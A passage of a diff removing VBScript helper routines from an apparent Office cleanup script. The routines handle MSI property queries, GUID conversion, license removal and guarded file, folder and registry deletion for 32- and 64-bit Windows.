-End Function 'GetMsiProductVersion
-'=======================================================================================================
-
-'Obtain the ProductVersion from a .msi package
-'The function will open the .msi database and query the 'Property' table to retrieve the ProductCode
-Function GetMsiProductName(sMsiFile)
-
-    Dim MsiDb,Record
-    Dim qView
-
-    On Error Resume Next
-
-    GetMsiProductName = ""
-    Set Record = Nothing
-
-    Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
-    Set qView = MsiDb.OpenView("SELECT `Value` FROM Property WHERE `Property` = 'ProductName'")
-    qView.Execute
-    Set Record = qView.Fetch
-    GetMsiProductName = Record.StringData(1)
-    qView.Close
-
-End Function 'GetMsiProductVersion
-'=======================================================================================================
-
-'Obtain the PackageCode (GUID) from a .msi package
-'The function will the .msi'S SummaryInformation stream
-Function GetMsiPackageCode(sMsiFile)
-
-    On Error Resume Next
-
-    Const PID_REVNUMBER = 9
-
-    GetMsiPackageCode = ""
-    GetMsiPackageCode = GetCompressedGuid(oMsi.SummaryInformation(sMsiFile,MSIOPENDATABASEREADONLY).Property(PID_REVNUMBER))
-
-End Function 'GetMsiPackageCode
-'=======================================================================================================
-
-'Returns a string with a list of ProductCodes from the summary information stream
-Function MspTargets (sMspFile)
-    Const MSIOPENDATABASEMODE_PATCHFILE = 32
-    Const PID_TEMPLATE                  =  7
-
-    Dim Msp
-    'Non critical routine. Don't fail on error
-    On Error Resume Next
-    MspTargets = ""
-    If oFso.FileExists(sMspFile) Then
-        Set Msp = Msi.OpenDatabase(WScript.Arguments(0),MSIOPENDATABASEMODE_PATCHFILE)
-        If Err = 0 Then MspTargets = Msp.SummaryInformation.Property(PID_TEMPLATE)
-    End If 'oFso.FileExists(sMspFile)
-End Function 'MspTargets
-'=======================================================================================================
-
-'Return the ProductCode {{GUID} from a .MSI package
-Function ProductCode(sMsi)
-    Const MSIUILEVELNONE = 2 'No UI
-    Dim MsiSession
-
-    On Error Resume Next
-    'Non critical routine. Don't fail on error
-    If oFso.FileExists(sMsi) Then
-        oMsi.UILevel = MSIUILEVELNONE
-        Set MsiSession = oMsi.OpenPackage(sMsi,1)
-        ProductCode = MsiSession.ProductProperty("ProductCode")
-        Set MsiSession = Nothing
-    Else
-        ProductCode = ""
-    End If 'oFso.FileExists(sMsi)
-End Function 'ProductCode
-'=======================================================================================================
-
-Function GetUpgradeCode(sGuid)
-
-    'Ensure Valid Length
-    If NOT Len(sGuid) = 38 Then Exit Function
-
-    GetUpgradeCode = "{{00" & Mid(sGuid, 4, 2) & "0000-" & Mid(sGuid, 11, 4) & "-0000-" & Mid(sGuid, 21, 1) & "000-" & Mid(sGuid, 26, 1) & "000000FF1CE}"
-
-End Function 'GetUpgradeCode
-'=======================================================================================================
-
-Function GetExpandedGuid (sGuid)
-    Dim i
-
-    'Ensure valid length
-    If NOT Len(sGuid) = 32 Then Exit Function
-
-    GetExpandedGuid = "{{" & StrReverse(Mid(sGuid,1,8)) & "-" & _
-                       StrReverse(Mid(sGuid,9,4)) & "-" & _
-                       StrReverse(Mid(sGuid,13,4))& "-"
-    For i = 17 To 20
-	    If i Mod 2 Then
-		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
-	    Else
-		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
-	    End If
-    Next
-    GetExpandedGuid = GetExpandedGuid & "-"
-    For i = 21 To 32
-	    If i Mod 2 Then
-		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i + 1),1)
-	    Else
-		    GetExpandedGuid = GetExpandedGuid & mid(sGuid,(i - 1),1)
-	    End If
-    Next
-    GetExpandedGuid = GetExpandedGuid & "}"
-End Function
-'=======================================================================================================
-
-'Converts a GUID into the compressed format
-Function GetCompressedGuid (sGuid)
-    Dim sCompGUID
-    Dim i
-
-    'Ensure Valid Length
-    If NOT Len(sGuid) = 38 Then Exit Function
-
-    sCompGUID = StrReverse(Mid(sGuid,2,8))  & _
-                StrReverse(Mid(sGuid,11,4)) & _
-                StrReverse(Mid(sGuid,16,4))
-    For i = 21 To 24
-	    If i Mod 2 Then
-		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
-	    Else
-		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
-	    End If
-    Next
-    For i = 26 To 37
-	    If i Mod 2 Then
-		    sCompGUID = sCompGUID & Mid(sGuid, (i - 1), 1)
-	    Else
-		    sCompGUID = sCompGUID & Mid(sGuid, (i + 1), 1)
-	    End If
-    Next
-    GetCompressedGuid = sCompGUID
-End Function
-'=======================================================================================================
-
-'Unsquish GUID
-Function GetDecodedGuid(sEncGuid, sGuid)
-
-Dim sDecode, sTable, sHex, iChr
-Dim arrTable
-Dim i, iAsc, pow85, decChar
-Dim lTotal
-Dim fFailed
-
-    fFailed = False
-
-    sTable =    "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
-                "0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff," & _
-                "0xff,0x00,0xff,0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0xff," & _
-                "0x0c,0x0d,0x0e,0x0f,0x10,0x11,0x12,0x13,0x14,0x15,0xff,0xff,0xff,0x16,0xff,0x17," & _
-                "0x18,0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27," & _
-                "0x28,0x29,0x2a,0x2b,0x2c,0x2d,0x2e,0x2f,0x30,0x31,0x32,0x33,0xff,0x34,0x35,0x36," & _
-                "0x37,0x38,0x39,0x3a,0x3b,0x3c,0x3d,0x3e,0x3f,0x40,0x41,0x42,0x43,0x44,0x45,0x46," & _
-                "0x47,0x48,0x49,0x4a,0x4b,0x4c,0x4d,0x4e,0x4f,0x50,0x51,0x52,0xff,0x53,0x54,0xff"
-    arrTable = Split(sTable,",")
-    lTotal = 0 : pow85 = 1
-    For i = 0 To 19
-        fFailed = True
-        If i Mod 5 = 0 Then
-            lTotal = 0 : pow85 = 1
-        End If ' i Mod 5 = 0
-        iAsc = Asc(Mid(sEncGuid,i+1,1))
-        sHex = arrTable(iAsc)
-        If iAsc >=128 Then Exit For
-        If sHex = "0xff" Then Exit For
-        iChr = CInt("&h"&Right(sHex,2))
-        lTotal = lTotal + (iChr * pow85)
-        If i Mod 5 = 4 Then sDecode = sDecode & DecToHex(lTotal)
-        pow85 = pow85 * 85
-        fFailed = False
-    Next 'i
-    If NOT fFailed Then sGuid = "{{"&Mid(sDecode,1,8)&"-"& _
-                                Mid(sDecode,13,4)&"-"& _
-                                Mid(sDecode,9,4)&"-"& _
-                                Mid(sDecode,23,2) & Mid(sDecode,21,2)&"-"& _
-                                Mid(sDecode,19,2) & Mid(sDecode,17,2) & Mid(sDecode,31,2) & Mid(sDecode,29,2) & Mid(sDecode,27,2) & Mid(sDecode,25,2) &"}"
-
-    GetDecodedGuid = NOT fFailed
-
-End Function 'GetDecodedGuid
-'=======================================================================================================
-
-'Convert a long decimal to hex
-Function DecToHex(lDec)
-
-    Dim sHex
-    Dim iLen
-    Dim lVal, lExp
-    Dim arrChr
-
-    arrChr = Array("0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F")
-    sHex = ""
-    lVal = lDec
-    lExp = 16^10
-    While lExp >= 1
-        If lVal >= lExp Then
-            sHex = sHex & arrChr(Int(lVal / lExp))
-            lVal = lVal - lExp * Int(lVal / lExp)
-        Else
-            sHex = sHex & "0"
-            If sHex = "0" Then sHex = ""
-        End If
-        lExp = lExp / 16
-    Wend
-
-    iLen = 8 - Len(sHex)
-    If iLen > 0 Then sHex = String(iLen,"0") & sHex
-    DecToHex = sHex
-End Function
-'=======================================================================================================
-
-'Ensures that only valid metadata entries exist to avoid API failures
-Sub EnsureValidWIMetadata (hDefKey,sKey,iValidLength)
-
-Dim arrKeys
-Dim SubKey
-
-If Len(sKey) > 1 Then
-    If Right(sKey,1) = "\" Then sKey = Left(sKey,Len(sKey)-1)
-End If
-
-If RegEnumKey(hDefKey,sKey,arrKeys) Then
-    For Each SubKey in arrKeys
-        If NOT Len(SubKey) = iValidLength Then
-            RegDeleteKey hDefKey,sKey & "\" & SubKey & "\"
-        End If
-    Next 'SubKey
-End If
-
-End Sub 'EnsureValidWIMetadata
-'=======================================================================================================
-
-'-------------------------------------------------------------------------------
-'   CleanOSPP
-'
-'   Clean out licenses from the Office Software Protection Platform
-'-------------------------------------------------------------------------------
-Sub CleanOSPP
-    Dim oProductInstances, pi
-    Dim sCleanOSPP, sCmd, sRetVal
-
-    CONST OfficeAppId = "0ff1ce15-a989-479d-af46-f275c6370663"  'Office 2013
-
-    sCleanOSPP = "x64\CleanOSPP.exe"
-    If Not f64 Then sCleanOSPP = "x86\CleanOSPP.exe"
-    If oFso.FileExists(sScriptDir & sCleanOSPP) Then
-        sCmd = sScriptDir & sCleanOSPP
-        Log "   Running: " & sCmd
-        On Error Resume Next
-        sRetVal = oWShell.Run(sCmd, 0, True)
-        Log "   Return value: " & sRetVal
-        On Error Goto 0
-        Exit Sub
-    End If
-
-    On Error Resume Next
-    ' Initialize the software protection platform object with a filter on Office 2013 products
-    If iVersionNT > 601 Then
-        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM SoftwareLicensingProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
-    Else
-        Set oProductInstances = oWmiLocal.ExecQuery("SELECT ID, ApplicationId, PartialProductKey, Name, ProductKeyID FROM OfficeSoftwareProtectionProduct WHERE ApplicationId = '" & OfficeAppId & "' " & "AND PartialProductKey <> NULL")
-    End If
-
-    ' Remove all licenses
-    For Each pi in oProductInstances
-        If NOT IsNull(pi) Then
-            pi.UninstallProductKey( pi.ProductKeyID)
-        End If
-    Next 'pi
-
-End Sub 'CleanOSPP
-'=======================================================================================================
-
-
-'Create a backup copy of the file in the ScrubDir then delete the file
-Sub CopyAndDeleteFile(sFile)
-    Dim File
-
-    'Error handling inlined
-    On Error Resume Next
-    If oFso.FileExists(sFile) Then
-        Set File = oFso.GetFile(sFile)
-        If Not oFso.FolderExists(sScrubDir & "\" & File.ParentFolder.Name) Then oFso.CreateFolder sScrubDir & "\" & File.ParentFolder.Name
-        If Not fDetectOnly Then
-            LogOnly " - Backing up file: " & sFile
-            oFso.CopyFile sFile,sScrubDir & "\" & File.ParentFolder.Name & "\" & File.Name,True : CheckError "CopyAndDeleteFile"
-            Set File = Nothing
-            DeleteFile(sFile)
-        Else
-            LogOnly " - Simulate CopyAndDelete file: " & sFile
-        End If
-    End If 'oFso.FileExists
-End Sub 'CopyAndDeleteFile
-'=======================================================================================================
-
-'Wrapper to delete a file
-Sub DeleteFile(sFile)
-    Dim File
-    Dim sFileName, sNewPath
-
-    On Error Resume Next
-
-    If dictionaryKeepFolder.Exists(LCase(sFile)) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element: " & sFile
-            LogOnly "   Remaining applications will need a repair!"
-        End If
-    End If
-    If f64 Then
-        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFile))) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & sFile
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element: " & sFile
-            LogOnly "   Remaining applications will need a repair!"
-        End If
-        End If
-    End If
-
-    If oFso.FileExists(sFile) Then
-        LogOnly " - Delete file: " & sFile
-        If Not fDetectOnly Then oFso.DeleteFile sFile,True
-        If Err <> 0 Then
-            CheckError "DeleteFile"
-            If fForce Then
-                'Try to move the file and delete from there
-                Set File = oFso.GetFile(sFile)
-                sFileName = File.Name
-                sNewPath = sScrubDir & "\ScrubTmp"
-                Set File = Nothing
-                If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
-                'Move the file
-                LogOnly " - Move file to: " & sNewPath & "\" & sFileName
-                oFso.MoveFile sFile,sNewPath & "\" & sFileName
-                If Err <> 0 Then
-                    CheckError "DeleteFile (move)"
-                End If 'Err <> 0
-            Else
-                fRebootRequired = True
-            End If 'fForce
-        End If 'Err <> 0
-    End If 'oFso.FileExists
-End Sub 'DeleteFile
-'=======================================================================================================
-
-'64 bit aware wrapper to return the requested folder
-Function GetFolderPath(sPath)
-    GetFolderPath = True
-    If oFso.FolderExists(sPath) Then Exit Function
-    If f64 AND oFso.FolderExists(Wow64Folder(sPath)) Then
-        sPath = Wow64Folder(sPath)
-        Exit Function
-    End If
-    GetFolderPath = False
-End Function 'GetFolderPath
-'=======================================================================================================
-
-'Enumerates subfolder names of a folder and returns True if subfolders exist
-Function EnumFolderNames (sFolder, arrSubFolders)
-    Dim Folder, Subfolder
-    Dim sSubFolders
-
-    If oFso.FolderExists(sFolder) Then
-        Set Folder = oFso.GetFolder(sFolder)
-        For Each Subfolder in Folder.Subfolders
-            sSubFolders = sSubFolders & Subfolder.Name & ","
-        Next 'Subfolder
-    End If
-    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
-        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
-        For Each Subfolder in Folder.Subfolders
-            sSubFolders = sSubFolders & Subfolder.Name & ","
-        Next 'Subfolder
-    End If
-    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
-    EnumFolderNames = Len(sSubFolders)>0
-End Function 'EnumFolderNames
-'=======================================================================================================
-
-'Enumerates subfolders of a folder and returns True if subfolders exist
-Function EnumFolders (sFolder, arrSubFolders)
-    Dim Folder, Subfolder
-    Dim sSubFolders
-
-    If oFso.FolderExists(sFolder) Then
-        Set Folder = oFso.GetFolder(sFolder)
-        For Each Subfolder in Folder.Subfolders
-            sSubFolders = sSubFolders & Subfolder.Path & ","
-        Next 'Subfolder
-    End If
-    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
-        Set Folder = oFso.GetFolder(Wow64Folder(sFolder))
-        For Each Subfolder in Folder.Subfolders
-            sSubFolders = sSubFolders & Subfolder.Path & ","
-        Next 'Subfolder
-    End If
-    If Len(sSubFolders)>0 Then arrSubFolders = RemoveDuplicates(Split(Left(sSubFolders,Len(sSubFolders)-1),","))
-    EnumFolders = Len(sSubFolders)>0
-End Function 'EnumFolders
-'=======================================================================================================
-
-Sub GetMseFolderStructure (Folder)
-    Dim SubFolder
-
-    For Each SubFolder in Folder.SubFolders
-        ReDim Preserve arrMseFolders(UBound(arrMseFolders)+1)
-        arrMseFolders(UBound(arrMseFolders)) = SubFolder.Path
-        GetMseFolderStructure SubFolder
-    Next 'SubFolder
-End Sub 'GetMseFolderStructure
-'=======================================================================================================
-
-'Wrapper to delete a folder
-Sub DeleteFolder(sFolder)
-    Dim Folder
-    Dim sDelFolder, sFolderName, sNewPath
-
-    'Ensure trailing "\"
-    sFolder = sFolder & "\"
-    While InStr(sFolder,"\\")>0
-        sFolder = Replace(sFolder,"\\","\")
-    Wend
-
-    If dictionaryKeepFolder.Exists(LCase(sFolder)) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element: " & sFolder
-            LogOnly "   Remaining applications will need a repair!"
-        End If
-    End If
-    If f64 Then
-        If dictionaryKeepFolder.Exists(LCase(Wow64Folder(sFolder))) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & sFolder
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element: " & sFolder
-            LogOnly "   Remaining applications will need a repair!"
-        End If
-        End If
-    End If
-
-    'Strip trailing "\"
-    If Len(sFolder) > 1 Then
-        sFolder = Left(sFolder,Len(sFolder)-1)
-    End If
-
-    On Error Resume Next
-    If oFso.FolderExists(sFolder) Then
-        sDelFolder = sFolder
-    ElseIf f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
-        sDelFolder = Wow64Folder(sFolder)
-    Else
-        Exit Sub
-    End If
-    If Not fDetectOnly Then
-        LogOnly " - Delete folder: " & sDelFolder
-        oFso.DeleteFolder sDelFolder,True
-    Else
-        LogOnly " - Simulate delete folder: " & sDelFolder
-    End If
-    If Err <> 0 Then
-        CheckError "DeleteFolder"
-        'Try to move the folder and delete from there
-        Set Folder = oFso.GetFolder(sDelFolder)
-        sFolderName = Folder.Name
-        sNewPath = sScrubDir & "\ScrubTmp"
-        Set Folder = Nothing
-        'Ensure we stay within the same drive
-        If Not oFso.FolderExists(sNewPath) Then oFso.CreateFolder(sNewPath)
-        'Move the folder
-        LogOnly " - Moving folder to: " & sNewPath & "\" & sFolderName
-        oFso.MoveFolder sFolder,sNewPath & "\" & sFolderName
-        If Err <> 0 Then
-            CheckError "DeleteFolder (move)"
-        End If 'Err <> 0
-    End If 'Err <> 0
-End Sub 'DeleteFolder
-'=======================================================================================================
-
-'Delete empty folder structures
-Sub DeleteEmptyFolders
-    Dim Folder
-    Dim sFolder
-
-    ' cosmetic' task don't fail on error
-    On Error Resume Next
-    If Not IsArray(arrDeleteFolders) Then Exit Sub
-    Log vbCrLf & "Empty Folder Cleanup"
-    For Each sFolder in arrDeleteFolders
-        If oFso.FolderExists(sFolder) Then
-            Set Folder = oFso.GetFolder(sFolder)
-            If CBool(Folder.Attributes AND 1024) Then
-                'exclude protected folder
-            Else
-                If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
-                    Set Folder = Nothing
-                    SmartDeleteFolder sFolder
-                End If
-            End If
-        End If
-    Next 'sFolder
-    CheckError "DeleteEmptyFolders"
-    On Error Goto 0
-End Sub 'DeleteEmptyFolders
-'=======================================================================================================
-
-'Delete indivdual empty folder structures
-Sub DeleteEmptyFolder (sFolder)
-    Dim Folder
-
-    ' cosmetic' task don't fail on error
-    On Error Resume Next
-    If oFso.FolderExists(sFolder) Then
-        Set Folder = oFso.GetFolder(sFolder)
-        If CBool(Folder.Attributes AND 1024) Then
-            'exclude protected folder
-        Else
-            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
-                Set Folder = Nothing
-                SmartDeleteFolder sFolder
-            End If
-        End If
-    End If
-
-    CheckError "DeleteEmptyFolder"
-    On Error Goto 0
-End Sub 'DeleteEmptyFolder
-'=======================================================================================================
-
-'Wrapper to delete a folder and remove the empty parent folder structure
-Sub SmartDeleteFolder(sFolder)
-    If oFso.FolderExists(sFolder) Then
-        If Not fDetectOnly Then
-            LogOnly "  Request SmartDelete for folder: " & sFolder
-            SmartDeleteFolderEx sFolder
-        Else
-            LogOnly "  Simulate request SmartDelete for folder: " & sFolder
-        End If
-    End If
-    If f64 AND oFso.FolderExists(Wow64Folder(sFolder)) Then
-        If Not fDetectOnly Then
-            LogOnly "Request SmartDelete for folder: " & Wow64Folder(sFolder)
-            SmartDeleteFolderEx Wow64Folder(sFolder)
-        Else
-            LogOnly "Simulate request SmartDelete for folder: " & Wow64Folder(sFolder)
-        End If
-    End If
-End Sub 'SmartDeleteFolder
-'=======================================================================================================
-
-'Executes the folder delete operation
-Sub SmartDeleteFolderEx(sFolder)
-    Dim Folder
-
-    On Error Resume Next
-    DeleteFolder sFolder : CheckError "SmartDeleteFolderEx"
-    On Error Goto 0
-    Set Folder = oFso.GetFolder(oFso.GetParentFolderName(sFolder))
-    If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then SmartDeleteFolderEx(Folder.Path)
-End Sub 'SmartDeleteFolderEx
-'=======================================================================================================
-
-'Adds the folder structure to the 'KeepFolder' dictionary
-Sub AddKeepFolder(sPath)
-
-    Dim Folder
-
-    'Ensure trailing "\"
-    sPath = LCase(sPath) & "\"
-    While InStr(sPath,"\\")>0
-        sPath = Replace(sPath,"\\","\")
-    Wend
-
-    If NOT dictionaryKeepFolder.Exists (sPath) Then
-        dictionaryKeepFolder.Add sPath,sPath
-    Else
-        Exit Sub
-    End If
-    sPath = LCase(oFso.GetParentFolderName(sPath)) & "\"
-    If oFso.FolderExists(sPath) Then AddKeepFolder(sPath)
-End Sub
-'=======================================================================================================
-
-'Handles additional folder-path operations on 64 bit environments
-Function Wow64Folder(sFolder)
-    If LCase(Left(sFolder,Len(sWinDir & "\System32"))) = LCase(sWinDir & "\System32") Then
-        Wow64Folder = sWinDir & "\syswow64" & Right(sFolder,Len(sFolder)-Len(sSys32Dir))
-    ElseIf LCase(Left(sFolder,Len(sProgramFiles))) = LCase(sProgramFiles) Then
-        Wow64Folder = sProgramFilesX86 & Right(sFolder,Len(sFolder)-Len(sProgramFiles))
-    Else
-        Wow64Folder = "?" 'Return invalid string to ensure the folder cannot exist
-    End If
-End Function 'Wow64Folder
-'=======================================================================================================
-
-Function HiveString(hDefKey)
-    On Error Resume Next
-    Select Case hDefKey
-        Case HKCR : HiveString = "HKEY_CLASSES_ROOT"
-        Case HKCU : HiveString = "HKEY_CURRENT_USER"
-        Case HKLM : HiveString = "HKEY_LOCAL_MACHINE"
-        Case HKU  : HiveString = "HKEY_USERS"
-        Case Else : HiveString = hDefKey
-    End Select
-End Function
-'=======================================================================================================
-
-Function RegKeyExists(hDefKey,sSubKeyName)
-    Dim arrKeys
-    RegKeyExists = False
-    If oReg.EnumKey(hDefKey,sSubKeyName,arrKeys) = 0 Then RegKeyExists = True
-End Function
-'=======================================================================================================
-
-Function RegValExists(hDefKey,sSubKeyName,sName)
-    Dim arrValueTypes, arrValueNames
-    Dim i
-
-    RegValExists = False
-    If Not RegKeyExists(hDefKey,sSubKeyName) Then Exit Function
-    If sName = "" Then
-        RegValExists = True
-        Exit Function
-    End If
-    If oReg.EnumValues(hDefKey,sSubKeyName,arrValueNames,arrValueTypes) = 0 AND IsArray(arrValueNames) Then
-        For i = 0 To UBound(arrValueNames)
-            If LCase(arrValueNames(i)) = Trim(LCase(sName)) Then RegValExists = True
-        Next
-    End If 'oReg.EnumValues
-End Function
-'=======================================================================================================
-
-'Read the value of a given registry entry
-Function RegReadValue(hDefKey, sSubKeyName, sName, sValue, sType)
-    Dim RetVal
-    Dim Item
-    Dim arrValues
-
-    Select Case UCase(sType)
-        Case "1","REG_SZ"
-            RetVal = oReg.GetStringValue(hDefKey,sSubKeyName,sName,sValue)
-            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
-
-        Case "2","REG_EXPAND_SZ"
-            RetVal = oReg.GetExpandedStringValue(hDefKey,sSubKeyName,sName,sValue)
-            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetExpandedStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
-
-        Case "7","REG_MULTI_SZ"
-            RetVal = oReg.GetMultiStringValue(hDefKey,sSubKeyName,sName,arrValues)
-            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetMultiStringValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,arrValues)
-            If RetVal = 0 Then sValue = Join(arrValues,chr(34))
-
-        Case "4","REG_DWORD"
-            RetVal = oReg.GetDWORDValue(hDefKey,sSubKeyName,sName,sValue)
-            If Not RetVal = 0 AND f64 Then
-                RetVal = oReg.GetDWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
-            End If
-
-        Case "3","REG_BINARY"
-            RetVal = oReg.GetBinaryValue(hDefKey,sSubKeyName,sName,sValue)
-            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetBinaryValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
-
-        Case "11","REG_QWORD"
-            RetVal = oReg.GetQWORDValue(hDefKey,sSubKeyName,sName,sValue)
-            If Not RetVal = 0 AND f64 Then RetVal = oReg.GetQWORDValue(hDefKey,Wow64Key(hDefKey, sSubKeyName),sName,sValue)
-
-        Case Else
-            RetVal = -1
-    End Select 'sValue
-
-    RegReadValue = (RetVal = 0)
-End Function 'RegReadValue
-'=======================================================================================================
-
-'Enumerate a registry key to return all values
-Function RegEnumValues(hDefKey,sSubKeyName,arrNames, arrTypes)
-    Dim RetVal, RetVal64
-    Dim arrNames32, arrNames64, arrTypes32, arrTypes64
-
-    If f64 Then
-        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames32,arrTypes32)
-        RetVal64 = oReg.EnumValues(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrNames64,arrTypes64)
-        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrTypes32) Then
-            arrNames = arrNames32
-            arrTypes = arrTypes32
-        End If
-        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames64) AND IsArray(arrTypes64) Then
-            arrNames = arrNames64
-            arrTypes = arrTypes64
-        End If
-        If (RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrNames32) AND IsArray(arrNames64) AND IsArray(arrTypes32) AND IsArray(arrTypes64) Then
-            arrNames = RemoveDuplicates(Split((Join(arrNames32,"\") & "\" & Join(arrNames64,"\")),"\"))
-            arrTypes = RemoveDuplicates(Split((Join(arrTypes32,"\") & "\" & Join(arrTypes64,"\")),"\"))
-        End If
-    Else
-        RetVal = oReg.EnumValues(hDefKey,sSubKeyName,arrNames,arrTypes)
-    End If 'f64
-    RegEnumValues = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrNames) AND IsArray(arrTypes)
-End Function 'RegEnumValues
-'=======================================================================================================
-
-'Enumerate a registry key to return all subkeys
-Function RegEnumKey(hDefKey,sSubKeyName,arrKeys)
-    Dim RetVal, RetVal64
-    Dim arrKeys32, arrKeys64
-
-    If f64 Then
-        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys32)
-        RetVal64 = oReg.EnumKey(hDefKey,Wow64Key(hDefKey, sSubKeyName),arrKeys64)
-        If (RetVal = 0) AND (Not RetVal64 = 0) AND IsArray(arrKeys32) Then arrKeys = arrKeys32
-        If (Not RetVal = 0) AND (RetVal64 = 0) AND IsArray(arrKeys64) Then arrKeys = arrKeys64
-        If (RetVal = 0) AND (RetVal64 = 0) Then
-            If IsArray(arrKeys32) AND IsArray (arrKeys64) Then
-                arrKeys = RemoveDuplicates(Split((Join(arrKeys32,"\") & "\" & Join(arrKeys64,"\")),"\"))
-            ElseIf IsArray(arrKeys64) Then
-                arrKeys = arrKeys64
-            Else
-                arrKeys = arrKeys32
-            End If
-        End If
-    Else
-        RetVal = oReg.EnumKey(hDefKey,sSubKeyName,arrKeys)
-    End If 'f64
-    RegEnumKey = ((RetVal = 0) OR (RetVal64 = 0)) AND IsArray(arrKeys)
-End Function 'RegEnumKey
-'=======================================================================================================
-
-'Wrapper around oReg.DeleteValue to handle 64 bit
-Sub RegDeleteValue(hDefKey, sSubKeyName, sName, fRegMultiSZ)
-    Dim sWow64Key,sRealName
-    Dim iRetVal
-
-    sRealName = sName
-    If UCase(sName) = "(DEFAULT)" Then sRealName = ""
-
-    If dictionaryKeepReg.Exists(LCase(sSubKeyName & sName)) Then
-        If NOT fForce Then
-            LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
-            Exit Sub
-        Else
-            LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
-        End If
-    End If
-    If f64 Then
-        If dictionaryKeepReg.Exists(LCase(Wow64Key(hDefKey, sSubKeyName) & sName)) Then
-            If NOT fForce Then
-                LogOnly " - Disallowing the delete of still required keypath element: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
-                Exit Sub
-            Else
-                LogOnly " - Enforced delete of still required keypath element. Remaining applications will need a repair!"
-            End If
-        End If
-    End If
-
-    If RegValExists(hDefKey,sSubKeyName,sRealName) Then
-        On Error Resume Next
-        If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
-            LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
-            Exit Sub
-        End If
-        If Not fDetectOnly Then
-            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
-            iRetVal = 0
-            iRetVal = oReg.DeleteValue(hDefKey, sSubKeyName, sRealName)
-            CheckError "RegDeleteValue"
-            If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
-        Else
-            LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sSubKeyName & " -> " & sName
-        End If
-        On Error Goto 0
-    End If 'RegValExists
-    If f64 Then
-        sWow64Key = Wow64Key(hDefKey, sSubKeyName)
-        If RegValExists(hDefKey,sWow64Key,sRealName) Then
-            On Error Resume Next
-            If RegReadValue(hDefKey,sSubKeyName,sName,sValue,"REG_MULTI_SZ") Then
-                LogOnly " - Disallowing unsafe delete of REG_MULTI_SZ: " & HiveString(hDefKey) & "\" & sSubKeyName & sName
-                Exit Sub
-            End If
-            If Not fDetectOnly Then
-            LogOnly " - Delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
-                iRetVal = 0
-                iRetVal = oReg.DeleteValue(hDefKey, sWow64Key, sRealName)
-                CheckError "RegDeleteValue"
-                If NOT (iRetVal=0) Then LogOnly "     Delete failed. Return value: "&iRetVal
-            Else
-                LogOnly " - Simulate delete registry value: " & HiveString(hDefKey) & "\" & sWow64Key & " -> " & sName
-            End If
-            On Error Goto 0
-        End If 'RegKeyExists
-    End If
-End Sub 'RegDeleteValue
-'=======================================================================================================
-
-'Wrappper around RegDeleteKeyEx to handle 64bit scenrios
